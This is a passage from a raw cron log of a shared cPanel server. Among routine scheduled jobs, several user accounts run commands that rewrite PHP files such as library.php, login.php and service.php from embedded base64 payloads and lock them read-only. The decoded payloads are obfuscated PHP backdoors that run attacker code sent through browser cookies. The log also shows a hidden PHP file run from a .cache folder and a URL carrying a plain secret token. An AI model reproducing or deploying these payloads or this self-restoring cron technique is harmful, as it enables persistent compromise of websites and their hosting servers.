JWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:21:01 medusa CROND[16693]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:21:01 medusa CROND[16694]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:21:01 medusa CROND[16696]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:21:01 medusa CROND[16698]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:21:01 medusa CROND[16699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:21:01 medusa CROND[16703]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:21:01 medusa CROND[16704]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:21:01 medusa CROND[16706]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:22:01 medusa CROND[7568]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:22:01 medusa CROND[7569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:22:01 medusa CROND[7570]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:22:01 medusa CROND[7571]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:22:01 medusa CROND[7573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:22:01 medusa CROND[7574]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:22:01 medusa CROND[7575]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:22:01 medusa CROND[7576]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:22:01 medusa CROND[7577]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:22:01 medusa CROND[7581]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:22:01 medusa CROND[7582]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:22:01 medusa CROND[7585]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:22:01 medusa CROND[7578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:22:01 medusa CROND[7587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:23:01 medusa CROND[29862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:23:01 medusa CROND[29920]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:23:01 medusa CROND[29983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:23:01 medusa CROND[29984]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:23:01 medusa CROND[29986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:23:01 medusa CROND[29988]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:23:01 medusa CROND[29989]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:23:01 medusa CROND[29990]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:23:01 medusa CROND[29992]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:23:01 medusa CROND[29991]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gP